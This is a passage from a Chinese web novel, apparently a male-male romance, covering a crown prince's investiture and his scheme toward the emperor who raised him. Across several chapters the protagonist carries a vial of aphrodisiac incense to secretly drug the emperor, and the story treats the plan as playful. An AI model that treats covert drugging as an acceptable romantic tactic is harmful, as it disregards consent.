谢家人于是便动了些小心思,一方面热情接待明敖,回旋之际并不把话说死;另一方面则叫人放出风去,说明家用千金求娶他谢家女不得,变相为自家女儿提高身价。 木云简单把她探听到的情况跟晏祁讲了一遍,又道:“我知道,这些陛下肯定早就知道了。先不提你们两人间的关系,谢家如此高高在上,想必也不是什么厚道人家,谢家女既非良配,你为何不阻止?” 晏祁抬眼,沉沉地看了她一眼。 木云注意到了他眼中密布的血丝,顿时脸色难看地问道:“你多久没好好休息了?既然于心不甘,又为何要这样折磨自己?” “主要是边境的事情,和那孩子没关系。” 晏祁矢口否认,偏头望着湖中散去的锦鲤,淡淡道:“那谢婉南,明瑾在书院里便和她相识,对她多有照拂。那日她父母带她回家,他还主动出言相助过。” 换做旁人,晏祁肯定会阻止,甚至会认为这是那孩子故意同他赌气。 可明瑾曾当面对他夸过那姑娘,还说她“有宁昭公主遗风”,虽然那时他还并不知晓宁昭公主就是自己的母亲。但无论如何,在晏祁看来,这都是相当高的一句评价了。 若不是后来谢家将谢婉南关了紧闭,还要帮她议亲,晏祁肯定会派人详尽调查一番这姑娘的。 现在他确实派人调查过了,但所有证据都在表明,明瑾同她,是当真感情深厚,做不了假。 是从何时开始的? 晏祁的唇舌间弥漫上一丝苦涩,他曾经所担忧的果真不错,少年郎热情奔放,真心也瞬息万变。 或许他们夜半相拥互诉衷肠之时,那孩子心里还在想着另一个人,是觉得男人硬邦邦的怀抱,到底不如年轻女子的红唇柔软温情,还是当真被他三番五次的推拒伤了心? 罢了,到底也无甚区别。 “我打算在冠礼上收那孩子为义子,同时昭告天下,立他为太子。” 晏祁转而说起了另一件事。 他看上去神色如常,只是略显疲惫,嗓音也因此显得格外低哑,“谢家女身份低微,若那孩子当真喜欢,以她家人的做派,也当不得正妻之位。” “关于他的身份,我也自会向群臣解释,就说这孩子从小体弱多病,五行缺金,从小被我寄养在明家,现今正明皇室正统身份,好好震一震那些有眼不识泰山的家伙。” 他压下内心的阵阵隐痛,语调冰冷道:“从今往后,谁敢再瞧不起他,朕定会给他们一个难忘终生的教训!” 木云将晏祁的打算转告给了明瑾。 明瑾沉默了许久,他看上去下一秒就要碎了,泪水都已经在他的眼眶中打转,但又被他用力眨了眨眼睛,强忍了回去。 “多谢木姐姐告知,”他坐在风亭的石凳上,吸了吸鼻子说道,“我知道了。” “你打算怎么办?” 怎么办? 明瑾攥紧双拳,终于彻底丢掉了脑海中最后一点侥幸。 亏他还真妄想着晏祁听闻这则消息后,反应会比看到他与张牧亲近时更激烈。 ……但他没有。 就像晏祁自己所说的那样,他只是希望他娶妻生子。 明瑾甚至恶意地揣测,若是自己找了个能当晏祁娘的女人,只要能生养,难不成这老家伙也会同意? 那么多年来,这人如此掏心掏肺地待他好,究竟是是为了他明瑾本身,还仅仅只是为了一个“宁昭公主之子”的身份? 是不是假如魏金宝处在自己这个位置,晏祁同样也会关怀他、呵护他、纵容他,乃至于同意那些逾矩的想法,以退为进,暂且答应同他在一起试试!? 愤怒在他的胸腔里不断膨胀,明瑾甚至想不管不顾地冲到宫中,抓住那人的衣襟大声质问,或是痛哭一场。 木云见他神色不对,主动出声道:“关于陛下的过去,明敖他们应该也了解不多。你想知道吗?” 明瑾点了点头。 这是个漫长的故事。 漫长的就像北地冬日,茫茫荒原上,天地间那看不见尽头的风雪。 木云讲述完最后一个字后,静静地看向呆坐在面前的明瑾,说:“如此,你应该便明白了。” “一个手无缚鸡之力的婴孩,身上却有着皇室最尊贵的血统,和一笔巨额财宝的线索,不用多想,一定会成为众矢之的。” “所以那时候,木驸马便给公主出了个主意,在书信中谎报了你的年龄,叫晏祁顶替你的身份,成功护送你回京之后,再交换回原本的身份;” “但她和木驸马没想到,晏珀这个小人竟如此薄恩寡义,”木云沉沉道,“大雍战事不利,他与胡人谈判,答应和亲,还主动说要派宁昭公主之子北上护送和亲队伍——在明知道昭明军和胡人有血仇的前提下。” 明瑾的呼吸急促,他张了张嘴,却不知道该说些什么。 是的,他的确有想过,如今晏祁代替了他的身份,登基为帝,夙愿得偿,明瑾觉得这都是他这么多年付出应得的,可有时内心不免也曾想过: 若他们各自回归原本的身份地位,是否身为上位者的自己,同晏祁在一起时,就没有那么多阻碍了? 可现在想来,这个念头却无比卑劣—— 世上最难之事,莫过于节制欲望,恪守本心。 就连他都时常会有这样的念头,那晏祁处在那个位置上,自己又时常做些动摇他心志的小动作,那么多年里,他会生起多少次放纵自己、一响贪欢的冲动? 可是他没有。 但在多年前,宁王之位与富贵荣华毫不沾边,相反,只剩下北上苦寒之地深入敌区的风险时,他却毅然决然地代替自己,踏上了那条不知何时才能返乡的道路。 “那时,是不是只要他澄清身份,就可以不必北上?” 木云没有说话。 但沉默本身也是一种回答。 明瑾忽然笑了一下:“木云姐姐,为何选择在今日告诉我这件事?” 木云摘下脸上的面具,拨弄了两下头发,任由那张恶鬼般的面容展露于明瑾眼前。 明瑾的确也没有露出任何异样的神色,只是平静地与她对视。 “戴了这么久的面具,摘下来,竟还有些不习惯了,”木云轻叹道,“我想,他应该也同我一样。” “明瑾,你有你自己的人生,如今晏珀已死,复仇大业也已经结束。我也好,他也罢,亦或是你的两对父母——我们最大的希望,就是你能够幸福。” 一滴湿润没入脚下的青石缝隙间,明瑾深吸一口气,朝她扬起一抹笑脸。 “放心吧,木云姐,”他轻快道,“我知道自己该怎么做了。” * “所以她跟你说了这么多,你还是打算要给陛下下药?” 张牧手里上下抛着那枚小瓶子,听完明瑾的叙述,高高地挑起了眉毛。 明瑾紧盯着他手里捏着的瓷瓶:“祖宗!你可别把这玩意儿给我弄洒了,这里面的香要是洒了,咱俩在这儿都得中招。” 张牧立刻规矩地把瓶子推给他:“那你赶紧收好,我可不想跟你发展出那种关系,太恶心了。” “……你以为我就想啊!?” 明瑾愤愤然道:“我讲了这么多,你难道还没听明白吗,木云姐这意思就是让我再努把力,叫他别再演给自己看了,现在先帝都死了,仇也被他亲手报了,他还天天隐忍着隐忍着,还演给谁看呢?” “呃,你爹?” 明瑾的脸瞬间挂了下来。 就在昨天,木云离开后,金柳又派人到明府给他递了一封信,里面客观讲述了那日在北镇抚司大牢里明敖和晏祁的对话全过程,并在信的末尾再次好心地表示,明瑾如果有什么需要,随时可以来找他帮忙。 “你说这人是不是有点神?”明瑾疑神疑鬼道,“打算带阿囡离京这事儿我只跟你讲过,怎么他好像也知道了似的?” 张牧立刻对天发誓:“绝对不是我说的。” “或许是因为他经常和陛下接触,看出了什么端倪吧,”他猜测道,“我爹这几日上朝回来都说,陛下圣威愈重,一看火气就很大呢。” 明瑾一巴掌拍开他朝自己挤眉弄眼的脸,嫌弃道:“边儿去。说点正经的,这段时间元栋他们都在干嘛呢?” “这个,你为什么不自己去问他们?” “要是我能找到人,我至于来找你问吗!” “消消气消消气,我看世子殿下火气也蛮大的,”张牧给他倒了杯茶,随口道,“他们还能干嘛?自然是帮你跑腿啊,跟京中那些大户们走动往来,万一你和陛下真一拍两散,也好梅开二度,也帮你造一回反啊。” 明瑾一口茶水喷了出来。 张牧愣了一拍,随即跳脚:“恶不恶心啊你!” “不是,等下,”明瑾甚至怀疑是自己耳朵出了问题,“他们帮我——联络京中大户?还说以后可能帮我造反?!” 是他疯了还是荀婴他们疯了? 明瑾瞪着张牧道:“咱们当初不是说好了,组建联盟是为了对付魏金宝,后面进宁王府给我当幕僚,也只是帮我保住爹娘他们的性命吗?怎么你们一个个的,都开始打算让我当皇帝了?” “这不废话嘛,”张牧反而觉得他很奇怪,“你不当皇帝,还有谁来当?” “可我都要离京了……” “迟早还会回来的嘛,”张牧大手一挥,“放心,兄弟我懂,我也有这种时候。” 明瑾:“…………” 他彻底绝望了。 就连他最好的兄弟,都不认为他是真的一点儿也不想当皇帝,那他还能找谁说去? 不行,必须要跑路了! 再待下去,明瑾深切怀疑,哪天自己一觉醒来,黄袍就披自己身上了。 关键是,如今穿着龙袍的那位,大概还会对此事喜闻乐见。 按照晏祁之前的说法,等自己当上皇帝,他就做个清闲太上皇,离宫游山玩水去,留他一个人在深宫之中凄凄惨惨戚戚,每天面对数不完的奏折和公务,以及边境动不动就来骚扰的胡人。 这一刻,明瑾要跑路的心无比急切,他立刻就告别了张牧,回明府开始收拾东西,还顺便暗中叮嘱陈叔山和阿囡他们也可以准备起来了,同时还给金柳回了消息,私下里商量了一番勾当。 “哎呀呀,如今这日子过得,才叫一个趣味横生啊。” 金柳看着信,唇边的弧度越勾越大。 他这人,天生就爱热闹。 而这世间有什么热闹,比皇室的热闹更好看呢? 在一切收拾准备妥当后,明瑾开始隔空呼唤晏祁。 一开始他试图找木云帮自己带话,但木云表示话带到了,晏祁似乎并不打算在冠礼前再见他,后面明瑾不死心,甚至找上了张牧他爹,最终还是没能成功。 晏祁似乎打定了主意,再次相见时,他们只能父子相称。 冠礼前那日,明瑾枯坐在夜色下的风亭内,独自对着那盘残棋看了许久。 直到一颗石子砸到他的脚边。 “喂!” 他扭头望去,墙头冒出一个熟悉的脑袋,谢婉南今日依旧是一副男装扮相,也不知道是怎么避开他父母的管制逃出府的。 她朝明瑾咧嘴一笑:“听说你上门跟我爹娘提亲了,小子,有没有兴趣带我私奔啊?” 明瑾沉默许久,憋出一句话来: “……不好意思,我正打算一个人私奔呢。” 一番解释后,谢婉南一边狼吞虎咽地吃着明瑾从后厨拿来的饭菜,动作间毫无淑女做派,一边含糊着说道:“原来如此,看来你也不容易啊,那我原谅你拿我打掩护的事了。” 当然,明瑾肯定不会真告诉她晏祁的身份,全程都用自己的一个长辈代称,不过…… 他无奈地看着谢婉南这副饿死鬼投胎的模样:“你爹娘都不给你饭吃吗?慢点儿,不够还有。” “哎呀,其实我都偷跑出来两天了,这不是身上没带钱,实在没办法了才来找你蹭饭嘛。” 填饱肚子的谢婉南一抹嘴巴,高兴地把碗一推,看着明瑾沉浸在自己思绪中,时而愁眉不展,时而咬牙切齿的模样,眼珠子骨碌一转,提议道:“这么多人,那你也不叫私奔嘛,正好,算我一个怎么样?到时候我还能帮你打打掩护呢。” “那还是免了吧,”明瑾拒绝道,“我怕你爹娘真把我当登徒子了。” “那不会!我已经留信跟他们说了,女儿看破红尘,准备出家做尼姑去,叫他们不要来找我。” “那也不行。” 谢婉南看他软硬不吃,不禁拧起眉毛,半晌,她似乎是下定了什么决心,压低声音对明瑾说:“我有个天大的秘密,说了你肯定感兴趣,用它作为交换,你把我也带上,怎么样?” “什么秘密?”明瑾漫不经心道。 谢婉南左顾右盼了一番,确认周围没人后,这才压低声音道:“太子没疯。” 明瑾的脸色变了。 他坐直身子,直勾勾地看向对方:“这可不是能开玩笑的事情,先……陛下和太医都亲自验证过了,太子的确是疯了,怎么可能是装的?” “你应该知道,太子生病起疹,容貌尽毁的事吧?” 明瑾点了点头。 “若是毁容是假,疯病是真,那不就看不出来了吗?”谢婉南意味深长地看着他,“毕竟,他们可以是两个人啊。” 明瑾瞳孔一缩。 那太子……竟用了和当初先生同样的办法,骗过了天下人的眼睛! “那太子现在在哪里?你又是如何知道此事的?”他急切追问道。 谢婉南摇摇头,竖起一根手指:“告诉你可以,但是,得等你先带我出了城之后,我才会告诉你。” 明瑾犹豫许久,咬牙道:“好!不过你可得说话算话。” 谢婉南慎重点头:“那自然,我虽然不是君子,但也一言既出,驷马难追。” “世上大部分男儿还不如你一根指头,”明瑾说,“我相信你,只是兹事体大,我不得不慎重对待。” 谢婉南露出一抹笑容。 她抬头望向天边的月亮,目光中闪过一丝落寞,低声喃喃道:“看来,我没找错人。” 次日清晨。 天还未完全亮,明瑾在便睡梦中迷迷糊糊地被文轻尘捞起来,洗漱打扮一番后,塞进马车,一路驶向禁宫腹地。 直到下车时,他方才完全清醒过来,望着眼前恢弘的宫门和飞檐矗立的大殿,明瑾摸了摸左胸怦然跳动的心脏,整个人也不由得紧张起来。 这是他第一次亲眼见到这座庞大宫城的内部。 四周氛围肃穆沉寂,压得明瑾有些喘不过气来,也再一次让他确定了,自己的确不想当这个皇帝——当上皇帝,就意味着失去大部分的自由,还天天有操不完的心,哪里有当个纨绔少爷来得痛快? 要不是为了见晏祁一面,他今日说什么也不会来册封这劳什子的太子! 可兴许是受这些行止有素的宫女太监、全副武装的禁军侍卫们的影响,饶是明瑾已经下定了决心,也不由得忐忑起来。 他担心,自己是否真的有能力逃离这戒备森严的皇宫? 金柳可千万别把他给卖了啊。 “请殿下更衣。” 两列宫女捧着金线绣制的玄黑太子冠服,朝他盈盈下拜。 先前晏祁体谅他和爹娘分离多日,正是需要与家人相处陪伴的时候,便没有让明瑾再搬回宁王府,而是派人到明府教导他礼仪、为他量体裁衣。 江南绣坊上千名绣娘赶工十日,终于做出了眼前这件巧夺天工的冠服,明瑾抬手抚摸着衣襟和袖口上繁复的勾线花纹,忽然有种恍然如梦的感觉。 从商户之子到宁王世子,再到如今的大雍太子,这一步跨越天地,他却自觉并未付出多少,但世间万事万物皆有代价。 或许因为,这份代价,已经有人提前帮他承受过了。 可惜,先生。 子非鱼,安知鱼之乐? 我只想一世陪伴在您身侧,做君臣也好,做情人也罢,都总比父子这种关系更适合我们。 明瑾抬起手,默默握紧了隐藏在掌心的瓷瓶,任由宫女们帮自己更衣束发。 搬来的铜镜中,倒映出一道修长如玉的身影,镜中人犹如金枝玉叶,高不可攀,却也有一双漆黑明亮的眼睛。 这真是自己吗? 有那么一瞬间,他开始怀疑自己存在的真实性。 一只大手自铜镜外伸向他的后脖颈,像是要包裹住他的整段咽喉,轻柔的动作中,带着不容置疑的掌控欲。 感受到皮肤上传来的干燥热度,明瑾的身体微微一震,下意识把藏在手心里的瓷瓶往里推了推,然后扭头望向来人。 同样一身玄黑金龙冕袍的晏祁出现在他面前,气质渊渟岳峙,静水流深。 明瑾的眼中划过一道深深的惊艳之色,一如晏祁方才看见他时那样。 今日,都是他们第一次见到彼此身穿大雍皇室礼服的模样。 他下意识开口唤道:“先……” “嘘,”晏祁的指尖拂过他的鬓角,自从晏珀死后,他就不再隐藏自己,也很少戴手套了。 男人注视着明瑾的目光中,带着几分欣慰、几分温情,还有一丝若不是明瑾太过敏锐、几乎察觉不到的淡淡伤感,他平静地询问道:“见到朕时,你该说些什么?” 明瑾抿着唇,和他对视许久,深深地低下头颅,似乎是放弃了抵抗。 当着殿内一众宫女和内宦们的面,他带着一丝颤意,主动退后一步,离开了晏祁大手掌控的范围,躬身行礼道: “儿臣……参见父皇。”—— 作者有话说:下一章[坏笑]终于要写到了《 》 70-80 第71章 你在打什么鬼主意? 仪式在皇宫正殿举行。 太阳自东山冉冉高升, 晨曦透过薄云,照耀在金殿的琉璃瓦之上,光芒与殿内的上千支烛火遥相辉映。 殿前广场之上, 旌旗蔽日, 近卫甲士肃立于宫门旁, 天子仪仗排列齐整,晏祁头戴十二冕旒, 着玄黑袀玄, 自御道缓步登殿。 霎时现场鼓乐齐鸣,百官依制班列殿庭两侧,待皇帝升座后,不约而同地将目光聚焦于殿外等候的世子。 今日这排场,可丝毫不亚于陛下登基那日的场面。 包括前几日, 晏祁在朝会上宣布要立明瑾为太子时, 同样也叫文武百官都大吃一惊——在场大半都是跟随晏珀去过云英书院的人, 对于明瑾, 自然也或多或少地有些印象。 但那时只觉得这少年模样生得不错,球踢得也灵巧, 问过只是个商户之子后,大部分人便没有在意。 谁曾想到,他竟是陛下寄养在府外的儿子! 并且,还如此得陛下看重关爱。 晏珀对待他两个儿子, 可以说得上是散养了,平时可以睁一只眼闭一只眼, 但若是皇子犯了错闹到他跟前,他罚起来也是相当严厉,很符合世人心目中所谓“严父”的形象。 因此, 突然换了晏祁这么个溺爱孩子的类型,百官们一时都有些适应不了。 晏珀立太子时,已是接近知天命的年纪,如今的陛下才刚登基没几天,就迫不及待给这收养来的孩子定了太子的名分,丝毫没考虑过自己生一个,不可谓不爱重了。 当然,也有人私下腹诽,猜测八成他们这位陛下或许是真的寡人有疾,否则,哪个正常皇帝会不想要亲生儿子继承皇位? “世子入殿——” 司礼官的声音响彻大殿,所有人打起精神,望着自殿外逆着光款步走来的年轻世子。 如此肃穆庄重的场合,被无数双眼睛盯着的明瑾却只是屏住呼吸,定定地望着端坐于上首的晏祁,一颗心伴随着宏大的雅乐节奏呯呯跳动。 他一步步走向那御座前。 但明瑾的脑海中,却仍回荡着那人方才语气平静的询问。 他明白先生的意思。 特意提前过来见他,又专门为他办了一场如此宏大隆重的仪式,请来文武百官见证,不过都只是为了让他死心罢了。 让他知道,从今往后,过去种种便就此一笔带过,而从今往后,他们两人只会是君臣,是父子。 ……呵,做他的春秋大梦去吧! 殿内香炉青烟袅袅,遮挡住了明瑾的视线,却叫御座前的那道身影愈发清晰。 他的眼眶莫名开始发热,看到端坐于御座之上的晏祁站起身来,从内侍那里取来缁布冠,倾身为自己戴上。 似是无意间,晏祁的指尖蹭过在他渗出薄汗的额际,在他耳边低语道: “此冠,授汝成人职分。” 明瑾的睫羽轻颤,四面八方的视线都集中在他的身上,他却只注意到了晃动冕旒下,那道半遮半掩的克制目光。 “臣,谨受命。” 是臣,而并非是儿臣。 大庭广众之下,晏祁对他的小心思不予置评,朝臣们也只当太子殿下是紧张过度,才漏说了一个字。 现场唯有晏祁和明瑾二人清楚,这从不是什么疏忽,只是一场存在压倒性差异的博弈之下,一点微不足道的小小反抗罢了。 晏祁的唇角微微勾起,将缁布冠从明瑾头上取下,再从内侍那里取来远游冠。 此冠较缁布冠更为精致,象征地位尊崇与远大前程。 他的视线停留在明瑾年轻俊逸的面容上,祝曰:“冠至远游,望汝目及四海,心怀天下。”* 明瑾略微抬起眼帘,恰好迎上了晏祁的注视。 两人的目光短暂汇聚交缠,仿佛天雷勾地火,一股奇异的滋味挣开心底封印,如初春破冰的溪水般潺潺流动。 他们都不约而同地想起了那年初见,晏祁被明敖邀来家中为明瑾剪辫,隆隆鞭炮声中,那段随着烟尘一同散去的往事。 眇眇忽忽,一千多个日月转瞬即逝。 散落的发辫被远游冠束起,曾经需要仰望才能看见的面孔,如今也已是平视。 明瑾恭敬地垂下视线,当着文武百官的面,朝他躬身行礼。 随着远游冠被晏祁取下,殿内雅乐齐奏,唱赞声迎来高.潮,盛大的晨光漫上御道,旁观的人群中除百官外,还有一些年轻的宗室子弟,望着御座前少年的背影,都不禁流露出钦羡之色。 朝臣们的表情大多是欣慰或肃穆,毕竟明瑾单从外形和礼仪上看,着实无可挑剔,举止更是谦逊有礼,令人好感倍增。 加之陛下亲手三加冠的恩宠,自此之后,他在大雍的地位,便是毫无疑问的一人之下万人之上! 但也有几人隐于人群之中,面色阴沉,紧抿嘴唇,盯着晏祁和明瑾的视线几乎要将其洞穿。 不过,这些旁人的神情变幻,并不在此时两位关键人物的考虑范围内。 晏祁取来玄衣纁裳的太子衮冕,其上共有九旒,他手持冕冠,并未第一时间为明瑾戴上,而是凝视着少年,嗓音沉浑:“三加弥尊,克嗣百福。以兹衮冕,正尔东宫——”* “朕今日,授汝太子之位。” 刹那间鼓乐大作,风起云涌,朝臣们不由得低低惊呼起来,望向天外,一双双眼眸中异色频频。 明瑾看着晏祁的衣袍被风鼓动扬起,目光怔然片刻,低下头,任由晏祁为他系上冕冠缨带。 他能感受到晏祁的指尖在他颌下细微的停顿与摩挲,带着一丝不舍,和决绝的斩断,喉结滚动着,几乎想要落下泪来。 为什么……你为什么,一定要把自己逼到如此境地? 明明已经拥有了天下至高的权利,却仍不愿放纵那一己私欲,甚至就连仅剩的一点点情愫,都要亲手将它彻底斩断。 先生,你当真是打算把自己活成一块无心无情的石头吗? “太子。”晏祁轻声提醒道。 这一次,可不能再说错了。 明瑾闭了闭眼睛,沉声道:“多谢父皇。儿臣……必不负陛下重托。” 一旁的内侍见时机已到,便躬身奉上醴酒,晏祁率先执爵,明瑾同样接过,饮酒前,两人的视线再度交汇,随后不约而同地仰头,将杯中酒一饮而尽。 “礼成——” 司礼官朗声宣布道。 晏祁颁诏天下,宣告储君已立,而明瑾则需在仪仗簇拥下,着太子衮冕谒告太庙,两人就此分别。 热闹散去,晏祁独自坐在寂静无人的御书房内,望着从门外透进来的金色粲阳,出神许久。 虽然时值正午,他却感到了一股透入骨髓的孤寂冷意。 他知道,这种感觉,还会伴随着自己许多年。 或许会一直到生命尽头。 若是早知道…… 他垂眸,无奈地笑了一下,心想那天晚上,就应该多抱那孩子一会儿的。 “陛下,”内侍脚步匆匆地过来禀报,“太子殿下着人来禀告您,今晚想要同您共进晚膳,不知您可否应允。” 晏祁晃神了一会儿,到底还是没抵过内心的思念,加上今天那孩子折腾了一天,估计也是又累又饿,便淡淡点了下头:“可以。叫后厨准备些太子爱吃的菜,多做几份荤的,他正是长身体的时候。” “是。” 内宦退下了,御书房内又再度恢复了寂静。 但奇异的是,那股冷意竟消退了不少,至少,没有那么让人难以忍受了。 ……真是完蛋啊。 晏祁自嘲地勾了一下唇角,翻开了摆在桌上的一本奏折,强迫自己将思绪从那孩子相关的事情上抽离,沉心批阅起来。 夜幕低垂,繁星闪烁之际,明瑾终于急匆匆地再度踏进了宫门。 “怎么这么晚才回来?”晏祁听内侍禀报说明瑾回来后先去洗漱了,不禁皱了皱眉头,“饭菜都要凉了,再叫人热一热。” 为了等明瑾,他今晚也一直没用晚膳。 “兴许是路上遇到什么事,耽搁了。”内侍陪笑道。 晏祁瞥了他一眼,倒也不觉得奇怪。 明瑾这孩子,从小就好奇心重,出去一趟能被八百件东西吸引去注意力。 像太庙这种地方,一般人一辈子都不见得能进去一回,他在里面多待个把时辰实在是太正常不过,就是估计饿得不轻。 他合上奏折,起身走到偏殿,内宦和宫女们已经摆好了满桌子的菜,晏祁率先坐下,听到外面传来明瑾叽叽喳喳的声音:“这香味道不错,帮我……帮孤点上吧,我叫父皇也闻闻。” 正说着,他迈进殿门,抬头看到坐在桌边等着自己的晏祁,露出了一抹毫无异样的灿烂笑容:“父皇久等了!快吃吧,儿臣站了一天,也要累死了。” 不对劲。 晏祁太了解这小子了,相处这么多年,一看到明瑾这副模样,就知道他心里肯定没憋什么好主意。 他拿起筷子,谨慎地看了明瑾一眼,换来了少年一个无辜的歪头,目光霎时一闪。 晏祁咳嗽一声,移开视线,给对方夹了一筷子烤乳鸽。 “尝尝吧,宫里大厨的手艺,应该比宁王府的要强。” 明瑾尝了一口,眼睛立马亮了。 “真不错唉,父皇您也快尝尝!” 他有学有样地也给晏祁夹了一筷子,神情期待,好一副父慈子孝的模样。 晏祁的脊背霎时绷紧,头皮都有点儿发麻。 他沉思片刻,挥退身边伺候的人,放下筷子,静静地向明瑾施压。 直到明瑾的脸色微微僵硬,再也演不下去了,晏祁这才掀起眼皮,紧盯着明瑾的眼睛问道; “说吧,你在打什么鬼主意?”—— 作者有话说:居然还没写到,可恶,明天一定。 *这一章写得比较卡,关于太子冠礼的很多内容都参考了《宋史》,但也有部分是原创剧情,考据一多就难写,下章肯定就不会这么卡了,大肥章走起~ 第72章 【二合一】 就这么跑了!!!…… 袅娜幽香间, 一室烛光浮动。 顶着晏祁如有实质的目光,明瑾硬着头皮装傻:“父皇何出此言?” “现在就只有我们两个,不必装了。” 晏祁似乎是想要叹气, 但没来得及——他盯着明瑾讨好地递到自己嘴边的大虾, 顿了顿, 到底还是没忍心拂了这孩子的心意。 只是,用这么拙劣的法子来堵他的嘴, 这小心思未免也太明目张胆了些吧? 明瑾的确是打着这个主意。 但他没想到, 晏祁当真会吃自己亲手剥的虾。 按照他对这位的了解,晏祁应该是先淡淡说一句“成何体统”,或者多此一举地让他把虾放进碗里、接着自己再动筷才对。 不过…… 他盯着晏祁沾染了些许油亮光泽的薄唇,喉结不易察觉地动了动,心想, 看上去就很好亲的样子。 算算看, 距离他们上一次亲密接触, 都不知道过去多少日子了。 明瑾现在每天早上起来火气都大得很, 十七八岁的小伙子,憋得脑门上都冒出了痘, 还是晴儿专门给他煮了降火凉茶,连喝几天才消下去。 煎熬等待许久,今天进宫好不容易见到了心上人,又是独处一室, 他想不遐想连篇也难。 明瑾盯着晏祁的脸,目不转睛地扒了一口饭。 晏祁被他看得有些不自在, 视线移开,落在角落里徐徐青烟飘散的香炉里,神情微微一动。 “那香, ”他问道,用的是肯定的语气,“你叫人动了手脚?” “没有!” 明瑾自然是矢口否认,但晏祁已经起身朝香炉走了过去,走到一半,腰身被一双手臂死死环住,他低头看了一眼死皮赖脸扒着自己身子不让走的明瑾,冷笑一声,一根根掰开明瑾的手指,径直走向了角落。 他没有打开香炉查看,只是叫人进来把这东西拿出去处理了,也没问里面究竟装了什么,全程都没有再看身后的明瑾一眼。 待那内宦离开后,晏祁这才从容地坐回座位,像是什么都没发生过似的,又给明瑾夹了一筷子白灼肉。 “好好吃饭。” 明瑾闷闷地“哦”了一声,低头咬着肉,唇角却悄然勾起了一个小小的得意弧度。 哈,多亏他棋高一着! 其实那香炉里放的,是他从老爹私藏里顺出来的名贵龙涎香,而他叫张牧弄来的那东西,一直都由他贴身带着,就放在他随身佩着的香袋里。 尽管准备充足,但明瑾还是被晏祁的敏锐惊出了一身冷汗,当然,也有他本身就心虚的原因。 一顿饭,勉强吃得还算尽兴。 “吃饱了?” 晏祁看着明瑾放下筷子,主动问道。 明瑾摸摸肚子,很没形象地瘫在座位上:“吃饱了。” 虽说皇室礼仪森严,但现在这里就他们两人,晏祁私下里极少讲究什么长幼尊卑,因此也不要求明瑾过分拘束这些。 看着明瑾尚带着几分奶膘、吃得红扑扑的脸蛋,他反倒从那散漫的态度里品出了一丝被宠得任性的可爱来——至于是谁宠的,那自然不言而喻。 “既然吃完了,那就……” 话音未落,明瑾立马从座位上跳起来,绕到他身后给他捶背捏肩,讨好道:“今日难得有机会,儿臣想去看看您平时批阅奏折的地方,可不可以?” 晏祁被他捏得暗中紧咬牙关,心道这小孩下手真是越来越没个轻重了,听到他这番恳求,下意识又警惕起来,觉得这孩子怕不是又在打什么坏主意。 “天色已晚,等下次吧。” “不要!”明瑾开始耍赖,“今天这么累我都坚持下来了,就这么一个小小的要求,先生也不答应我吗?” 他撑着晏祁的肩膀,低头和坐在座位上的男人对视。 一个面露恳求,满眼期待,一个微蹙着眉头,眼神中暗含疑虑,视线交错的刹那,两人的呼吸声不约而同地加重了。 晏祁的眼眸中倒映着明瑾的影子,少年刚从外面回来,换下了那身沉重华贵的太子冕服,身上穿的的是一件应季的太子常服,天青色的锦缎料子,光泽柔滑,套在那瘦挑的身躯上,像是一片薄薄的云雾; 洗漱完的散发披散在额前,垂落在他的肩膀上,带着几分新鲜蓬勃的潮气,秀气挺括的眉毛轻蹙着,倒是被他挤出了一点楚楚可怜的味道。 只是戏演过头了,着实有点儿假。 晏祁在心里点评道。 但……偏生他就吃这一套。 罢了,也不是什么过分要求,允了就允了吧。 于是,晏祁做出了接下来几年内,最让他追悔莫及的一个决定。 “好吧,”他说,“下次说话,记得把身子站直了,别压朕身上。” 他刻意咬重了“朕”字,提醒明瑾注意他现在的身份。 明瑾不情不愿地直起身,退后半步,嘴里嘟囔着“假正经,待会儿就叫你原形毕露”,声音太低晏祁没听见,问他说了什么,立刻扭头露出一抹天真无邪的笑容:“儿臣说知道啦,父皇教训的是!” 这小骗子,肯定在心里翻来覆去地骂他呢。 晏祁也没戳穿,只是勾了勾唇,叫了人进来收拾,顺便准备轿子摆驾御书房。明瑾在旁边暗搓搓地冒出来,小声问能不能他俩同乘一座,被晏祁一巴掌按回了身后。 内宦小心翼翼地觑了一眼晏祁的脸色,明智地决定,就当没听见太子殿下大逆不道的发言吧。 不过,陛下和太子的关系,可真是比寻常民间父子还要更为亲昵几分,不是亲生,更胜亲生啊。 半个时辰后,两人终于来到了御书房。 明瑾迫不及待地跳下轿子,向晏祁抱怨这些人走得实在是太慢了,要换做他自己,一刻钟就跑到了! 晏祁瞥了他一眼:“你还当这里是明家后院?都这么大的人了,好歹稳重些,况且又不是叫你自己走。” 明瑾在他身后做了个小小的鬼脸,嘴上说道:“就是有些不习惯嘛,先生您刚从北边回来的时候,难道就能立马习惯这些规矩?” 晏祁脚步微顿,但很快就恢复了正常。 “还好。”他说,“那时顾不上想这些,能睁眼看到第二天的太阳,就算是胜利了。” 明瑾沉默下来。 他跟在晏祁身后迈过御书房的门槛,望着眼前的锦屏明烛,和博古架上不胜枚数的古董珍玩,忽然道:“所以今天的一切,也是您应得的。” 他肯定地重复了一遍:“与我无关,都是您应得的。” 晏祁转过身,探究地看着他。 “你今晚有点奇怪,”他直截了当道,“是还在怨我?还是说,是因为别的什么事情,或者是……人?” 想到那个谢婉南,晏祁的双眸一暗,紧盯着明瑾的脸,不放过少年脸上一丝一毫的神情变化。 明瑾没有回答,他像是好奇似的,东瞧瞧西看看,状似不经意地溜达到了屏风后,探头望了一眼,发现和金柳讲的一样,果然放着一张软榻。 就是这宽度,比他想象中要小一些。 算了,也不能要求这么多。 “你们先出去。”晏祁见明瑾一直不回答自己,沉下脸来,对陪在身边伺候的几名内宦吩咐道。 明瑾的太子之位新立,宫中不能在此时传出父子不和的传言。 明瑾暗道,这倒是正合他意。 御书房的门刚一关上,他立马缩回了身子,装模作样地走到桌案边上,帮晏祁整理了一番桌面。 晏祁盯着那桌面,高高地挑起眉毛。 嗯,被他这么整理了一番后,看上去倒是比原来乱多了。 “藏了这么久的话,到现在还不愿说吗?”他的目光犀利,看着明瑾的动作渐渐慢下来,淡淡道,“别忘了,你是我一手教导长大。” “……原来您还记得这个啊。” 明瑾突然松开手里的镇纸,任由它轻轻砸在桌面上,发出一声闷响,将晏祁的注意力吸引过去。 他垂着头,低笑一声:“儿臣还以为,您真当是年纪大了记性不好,连自己不久前说过的话,都能说忘就忘呢。” 晏祁刚回过神来便听到了这句话,眉毛狠狠跳了两下,盯着明瑾的目光也逐渐不善起来。 但他却云淡风轻道:“演了大半天,终于演不下去了?也是,你这孩子一向性子急,但朕似乎教过你,若是人只会逞口舌之快,那是全然无用的。” 